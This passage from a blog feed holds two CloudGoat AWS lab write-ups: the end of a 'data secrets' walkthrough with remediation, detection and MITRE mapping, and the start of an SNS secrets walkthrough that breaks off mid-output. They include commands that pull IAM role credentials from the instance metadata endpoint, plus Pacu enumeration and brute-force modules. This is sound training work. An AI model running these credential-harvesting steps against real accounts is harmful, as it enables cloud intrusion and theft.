│  Secrets Manager     │&lt;br&gt;
│  Final Flag Found    │&lt;br&gt;
└──────────┬───────────┘&lt;br&gt;
           │&lt;br&gt;
           ▼&lt;br&gt;
┌──────────────────────┐&lt;br&gt;
│       FLAG           │&lt;br&gt;
│ d4t4_s3cr3ts_4r3_fun │&lt;br&gt;
└──────────────────────┘&lt;br&gt;
&lt;/code&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  🚨 Vulnerabilities Exploited
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;CWE&lt;/th&gt;
&lt;th&gt;CVSS&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Hardcoded SSH credentials in EC2 User Data&lt;/td&gt;
&lt;td&gt;CWE-798&lt;/td&gt;
&lt;td&gt;9.8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Improper Privilege Management&lt;/td&gt;
&lt;td&gt;CWE-269&lt;/td&gt;
&lt;td&gt;7.5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Hardcoded AWS credentials in Lambda environment variables&lt;/td&gt;
&lt;td&gt;CWE-798&lt;/td&gt;
&lt;td&gt;9.8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Overly permissive IAM role on EC2 instance&lt;/td&gt;
&lt;td&gt;CWE-732&lt;/td&gt;
&lt;td&gt;8.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Insufficient access controls on Secrets Manager&lt;/td&gt;
&lt;td&gt;CWE-732&lt;/td&gt;
&lt;td&gt;7.1&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  🧩 Architectural Failures
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Trusting User Data with secrets&lt;/li&gt;
&lt;li&gt;Treating Lambda environment variables as secure storage&lt;/li&gt;
&lt;li&gt;Allowing credential sprawl between services&lt;/li&gt;
&lt;li&gt;Over-permissioned instance role&lt;/li&gt;
&lt;li&gt;No separation between compute identity and data access&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  💡 Remediation
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Never store secrets in EC2 User Data&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use AWS Systems Manager Session Manager for remote access&lt;/li&gt;
&lt;li&gt;If SSH is required, use EC2 Instance Connect or Systems Manager Session Manager&lt;/li&gt;
&lt;li&gt;Use key pairs instead of hardcoded passwords&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Disable or restrict IMDSv1&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`bash&lt;/p&gt;
&lt;h1&gt;
  
  
  Force IMDSv2 only for new instances
&lt;/h1&gt;

&lt;p&gt;aws ec2 run-instances \&lt;br&gt;
 --metadata-options "HttpTokens=required,HttpPutResponseHopLimit=1"&lt;br&gt;
`&lt;code&gt;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Never store AWS credentials in environment variables&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use IAM roles attached to resources&lt;/li&gt;
&lt;li&gt;Use AWS Secrets Manager for application secrets&lt;/li&gt;
&lt;li&gt;Use Parameter Store for configuration&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Implement least privilege for IAM roles&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;&lt;/code&gt;&lt;code&gt;json&lt;br&gt;
{&lt;br&gt;
 "Version": "2012-10-17",&lt;br&gt;
 "Statement": [&lt;br&gt;
   {&lt;br&gt;
     "Effect": "Allow",&lt;br&gt;
     "Action": "lambda:GetFunction",&lt;br&gt;
     "Resource": "arn:aws:lambda:*:*:function/specific-function"&lt;br&gt;
   }&lt;br&gt;
 ]&lt;br&gt;
}&lt;br&gt;
&lt;/code&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Monitor and alert on suspicious activities&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Enable CloudTrail logging for all API calls&lt;/li&gt;
&lt;li&gt;Monitor CloudTrail for anomalous role assumption patterns or unusual Secrets Manager access originating from EC2 roles.&lt;/li&gt;
&lt;li&gt;Monitor for unusual EC2 access patterns&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Enable encryption for secrets at rest and in transit&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use KMS encryption for Secrets Manager&lt;/li&gt;
&lt;li&gt;Enforce TLS for all API communications&lt;/li&gt;
&lt;li&gt;Enable encryption for EC2 volumes&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  🔎 Detection &amp;amp; Monitoring Opportunities
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;CloudTrail Monitoring&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;DescribeInstances from low-privileged IAM users&lt;/li&gt;
&lt;li&gt;ListFunctions from EC2 instance roles
-ListSecrets and GetSecretValue from unexpected principals&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;GuardDuty Alerts&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Instance credential exfiltration behavior&lt;/li&gt;
&lt;li&gt;Unusual role assumption patterns&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;IAM Access Analyzer&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Detect over-permissioned roles&lt;/li&gt;
&lt;li&gt;Identify unused permissions&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;VPC Flow Logs&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Monitor access to 169.254.169.254 (metadata endpoint)&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h2&gt;
  
  
  🎯 MITRE ATT&amp;amp;CK Mapping
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tactic&lt;/th&gt;
&lt;th&gt;Technique&lt;/th&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Initial Access&lt;/td&gt;
&lt;td&gt;Valid Accounts: Cloud Accounts&lt;/td&gt;
&lt;td&gt;T1078.004&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discovery&lt;/td&gt;
&lt;td&gt;Cloud Service Discovery&lt;/td&gt;
&lt;td&gt;T1526&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Credential Access&lt;/td&gt;
&lt;td&gt;Unsecured Credentials: Credentials in Files / Environment Variables&lt;/td&gt;
&lt;td&gt;T1552.001&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Credential Access&lt;/td&gt;
&lt;td&gt;Cloud Instance Metadata API&lt;/td&gt;
&lt;td&gt;T1552.005&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lateral Movement&lt;/td&gt;
&lt;td&gt;Use Alternate Authentication Material: Cloud Credentials&lt;/td&gt;
&lt;td&gt;T1550.001&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Privilege Escalation&lt;/td&gt;
&lt;td&gt;Valid Accounts: Cloud Accounts&lt;/td&gt;
&lt;td&gt;T1078.004&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  🛠️ Commands Reference
&lt;/h2&gt;

&lt;h3&gt;
  
  
  AWS CLI
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`bash&lt;/p&gt;

&lt;h1&gt;
  
  
  Initial enumeration
&lt;/h1&gt;

&lt;p&gt;aws configure --profile data_secrets&lt;br&gt;
aws sts get-caller-identity --profile data_secrets&lt;/p&gt;

&lt;h1&gt;
  
  
  EC2 enumeration
&lt;/h1&gt;

&lt;p&gt;aws ec2 describe-instances --profile data_secrets --region us-east-1&lt;br&gt;
aws ec2 describe-tags --profile data_secrets --region us-east-1&lt;/p&gt;

&lt;h1&gt;
  
  
  Configure additional profiles
&lt;/h1&gt;

&lt;p&gt;aws configure --profile ec2_profile&lt;br&gt;
aws configure --profile lambda_profile&lt;/p&gt;

&lt;h1&gt;
  
  
  Validate credentials
&lt;/h1&gt;

&lt;p&gt;aws sts get-caller-identity --profile ec2_profile&lt;br&gt;
aws sts get-caller-identity --profile lambda_profile&lt;br&gt;
`&lt;code&gt;&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  SSH and IMDS
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`bash&lt;/p&gt;

&lt;h1&gt;
  
  
  SSH access
&lt;/h1&gt;

&lt;p&gt;ssh ec2-user@&lt;/p&gt;

&lt;h1&gt;
  
  
  IMDSv2 token (within EC2 instance)
&lt;/h1&gt;

&lt;p&gt;TOKEN=$(curl -s -X PUT "&lt;a href="http://169.254.169.254/latest/api/token" rel="noopener noreferrer"&gt;http://169.254.169.254/latest/api/token&lt;/a&gt;" \&lt;br&gt;
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")&lt;/p&gt;

&lt;h1&gt;
  
  
  Get IAM role name
&lt;/h1&gt;

&lt;p&gt;curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \&lt;br&gt;
  &lt;a href="http://169.254.169.254/latest/meta-data/iam/security-credentials/" rel="noopener noreferrer"&gt;http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Get temporary credentials
&lt;/h1&gt;

&lt;p&gt;curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \&lt;br&gt;
  &lt;a href="http://169.254.169.254/latest/meta-data/iam/security-credentials/" rel="noopener noreferrer"&gt;http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;/a&gt;&lt;br&gt;
`&lt;code&gt;&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Pacu Commands
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`bash&lt;/p&gt;

&lt;h1&gt;
  
  
  Session and key management
&lt;/h1&gt;

&lt;p&gt;import_keys &lt;br&gt;
whoami&lt;br&gt;
swap_session&lt;/p&gt;

&lt;h1&gt;
  
  
  Enumeration
&lt;/h1&gt;

&lt;p&gt;run iam_&lt;em&gt;bruteforce_permissions --region us-east-1&lt;br&gt;
run ec2&lt;/em&gt;&lt;em&gt;enum --region us-east-1&lt;br&gt;
run ec2&lt;/em&gt;&lt;em&gt;download_userdata&lt;br&gt;
run lambda&lt;/em&gt;&lt;em&gt;enum --region us-east-1&lt;br&gt;
run secrets&lt;/em&gt;_enum --region us-east-1&lt;br&gt;
`&lt;code&gt;&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  📚 Additional Resources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html" rel="noopener noreferrer"&gt;AWS EC2 User Data Security&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html" rel="noopener noreferrer"&gt;IMDS v2 Improvements&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/secretsmanager/latest/userguide/best-practices.html" rel="noopener noreferrer"&gt;AWS Secrets Manager Best Practices&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html" rel="noopener noreferrer"&gt;IAM Best Practices&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/cloudgoat/scenarios/aws/data_secrets/cheat_sheet.md" rel="noopener noreferrer"&gt;CloudGoat Data Secrets Cheat Sheet&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🎓 Key Takeaways
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Defense in Depth:&lt;/strong&gt; Multiple misconfigurations were chained together to achieve full compromise&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Credential Leakage:&lt;/strong&gt; Secrets stored in plain text (User Data, environment variables) are easily discovered&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IMDS Exposure Risk:&lt;/strong&gt; Instance role credentials are accessible from within the host by design; therefore, any host compromise effectively becomes a role compromise, underscoring the need for strict least-privilege policies on instance roles.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Role Enumeration:&lt;/strong&gt; Discovering attached roles and their permissions reveals the attack surface&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lateral Movement:&lt;/strong&gt; Each compromised credential opens new exploitation paths&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;You can also read this post on &lt;a href="https://arcade-lab.io/blog/13" rel="noopener noreferrer"&gt;my portfolio page&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>hacking</category>
      <category>writeup</category>
      <category>cloudgoat</category>
      <category>aws</category>
    </item>
    <item>
      <title>🥷 CloudGoat: SNS Secrets: Write-up: Exploiting SNS subscriptions to leak API keys</title>
      <dc:creator>denesbeck</dc:creator>
      <pubDate>Mon, 16 Mar 2026 10:04:29 +0000</pubDate>
      <link>https://dev.to/denesbeck/cloudgoat-sns-secrets-write-up-exploiting-sns-subscriptions-to-leak-api-keys-5fkp</link>
      <guid>https://dev.to/denesbeck/cloudgoat-sns-secrets-write-up-exploiting-sns-subscriptions-to-leak-api-keys-5fkp</guid>
      <description>&lt;h1&gt;
  
  
  🥷 CloudGoat: SNS Secrets
&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;Write-up: Exploiting SNS subscriptions to leak API keys&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  🧭 Overview
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Scenario:&lt;/strong&gt; &lt;code&gt;sns_secrets&lt;/code&gt; \&lt;br&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; &lt;a href="https://github.com/RhinoSecurityLabs/cloudgoat" rel="noopener noreferrer"&gt;CloudGoat (Rhino Security Labs)&lt;/a&gt; \&lt;br&gt;
&lt;strong&gt;Tools:&lt;/strong&gt; &lt;a href="https://github.com/RhinoSecurityLabs/pacu" rel="noopener noreferrer"&gt;Pacu&lt;/a&gt; + AWS CLI \&lt;br&gt;
&lt;strong&gt;Objective:&lt;/strong&gt; Enumerate SNS topics, subscribe to leak secrets, and access protected API Gateway endpoints.&lt;/p&gt;
&lt;h2&gt;
  
  
  ⚔️ Attack Path Summary
&lt;/h2&gt;

&lt;p&gt;SNS User → IAM Enum → SNS Enum → Subscribe to Topic → Receive API Key → API Gateway Enum → Access Protected Endpoint → Flag&lt;/p&gt;
&lt;h2&gt;
  
  
  🔑 Phase 1: Initial Access
&lt;/h2&gt;
&lt;h4&gt;
  
  
  Configure Profile
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws configure &lt;span class="nt"&gt;--profile&lt;/span&gt; sns_secrets
&lt;span class="c"&gt;# Access Key: AKIA****************&lt;/span&gt;
&lt;span class="c"&gt;# Secret Key: 7C30FWO69LHE8JZt7RcZ********************&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h4&gt;
  
  
  Validate Credentials
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws sts get-caller-identity &lt;span class="nt"&gt;--profile&lt;/span&gt; sns_secrets
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"UserId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"AIDA****************"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Account"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"7912********"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Arn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:iam::7912********:user/cg-sns-user-cgid38umo4q95r"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  🔎 Phase 2: IAM Enumeration
&lt;/h2&gt;
&lt;h4&gt;
  
  
  Launch Pacu and Import Keys
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pacu
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; import_keys sns_secrets
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h4&gt;
  
  
  Enumerate Permissions
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; run iam__enum_permissions
Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"UserName"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cg-sns-user-cgid38umo4q95r"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Permissions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"Allow"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"sns:listsubscriptionsbytopic"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"Resources"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"*"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"sns:gettopicattributes"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"Resources"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"*"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"sns:receive"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"Resources"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"*"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"sns:subscribe"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"Resources"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"*"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"sns:listtopics"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"Resources"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"*"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"apigateway:get"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"Resources"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"*"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"Deny"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"apigateway:get"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"Resources"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:apigateway:us-east-1::/restapis/*/resources/*/integration"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:apigateway:us-east-1::/apikeys"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:apigateway:us-east-1::/apikeys/*"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h4&gt;
  
  
  Key Findings
&lt;/h4&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Permissions&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SNS&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;listtopics&lt;/code&gt;, &lt;code&gt;subscribe&lt;/code&gt;, &lt;code&gt;receive&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Can subscribe to topics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API Gateway&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;get&lt;/code&gt; (with denies)&lt;/td&gt;
&lt;td&gt;Can enumerate APIs but not keys directly&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The explicit deny on &lt;code&gt;/apikeys&lt;/code&gt; and &lt;code&gt;/apikeys/*&lt;/code&gt; suggests there are API keys we're not supposed to access directly. But can we get them another way?&lt;/p&gt;
&lt;h2&gt;
  
  
  📬 Phase 3: SNS Enumeration
&lt;/h2&gt;
&lt;h4&gt;
  
  
  Discover SNS Topics
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; run sns__enum &lt;span class="nt"&gt;--regions&lt;/span&gt; us-east-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;[sns__enum] Starting region us-east-1...
[sns__enum]   Found 1 topics
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h4&gt;
  
  
  View Enumerated Data
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Pacu &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; data
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"SNS"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"sns"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
